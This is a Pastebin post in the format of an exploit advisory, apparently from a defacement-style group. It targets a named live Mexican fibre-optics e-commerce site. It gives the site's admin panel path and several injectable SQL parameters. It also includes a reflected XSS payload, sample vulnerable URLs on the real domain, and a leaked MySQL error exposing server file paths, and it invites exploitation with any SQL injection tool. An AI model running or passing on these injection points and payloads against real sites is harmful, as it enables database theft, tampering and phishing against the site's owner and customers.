KingSkrupellos

Optronics Fibra Optica eCommerce Mexico XSS SQL Injection

Aug 20th, 2019
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.96 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Optronics Fibra Optica eCommerce Mexico XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 21/08/2019
  7. # Vendor Homepage : optronics.com.mx
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. Optronics Fibra Optica is prone to an SQL-injection
  24. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  25. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  26. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. Reflected XSS (or Non-Persistent) :
  33. ***************************************
  34. The server reads data directly from the HTTP request and reflects it back in the
  35. HTTP response. Reflected XSS exploits occur when an attacker causes a victim to
  36. supply dangerous content to a vulnerable web application, which is then reflected back
  37. to the victim and executed by the web browser. The most common mechanism for
  38. delivering malicious content is to include it as a parameter in a URL that is
  39. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  40. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  41. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  42. the content is executed by the victim's browser.
  43.  
  44. ###################################################################
  45.  
  46. # Admin Panel Login Path :
  47. *************************
  48. /index.php?mod=usuarios
  49.  
  50. # SQL Injection Exploit :
  51. **********************
  52. /index.php?mod=eCommerce&ext=group&subid=[SQL Injection]
  53.  
  54. /index.php?mod=eCommerce&ext=subcat&id=[SQL Injection]
  55.  
  56. /index.php?mod=eCommerce&ext=group&subid=[ID-NUMBER]&id=[SQL Injection]
  57.  
  58. # Cross Site Scripting XSS Exploit :
  59. ********************************
  60. /index.php?mod=eCommerce&ext=group&subid=1%27
  61. %3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-Vulnerability-
  62. Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
  63.  
  64. ###################################################################
  65.  
  66. # Example Vulnerable Sites :
  67. *************************
  68. [+] optronics.com.mx/index.php?mod=eCommerce&ext=group&subid=1%27
  69.  
  70. [+] optronics.com.mx/index.php?mod=eCommerce&ext=group&subid=1%27
  71. %3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-Vulnerability-
  72. Found-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
  73.  
  74. ###################################################################
  75.  
  76. # Example SQL Database Error :
  77. ****************************
  78. You have an error in your SQL syntax; check the manual that corresponds
  79. to your MySQL server version for the right syntax to use near ''
  80. ORDER BY ID ASC' at line 1 Warning: mysql_fetch_array() expects parameter
  81. 1 to be resource, boolean given in /home/optronic/public_html
  82. /modulos/eCommerce/group.php on line 11
  83.  
  84. ###################################################################
  85.  
  86. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  87.  
  88. ###################################################################
Add Comment
Please, Sign In to add comment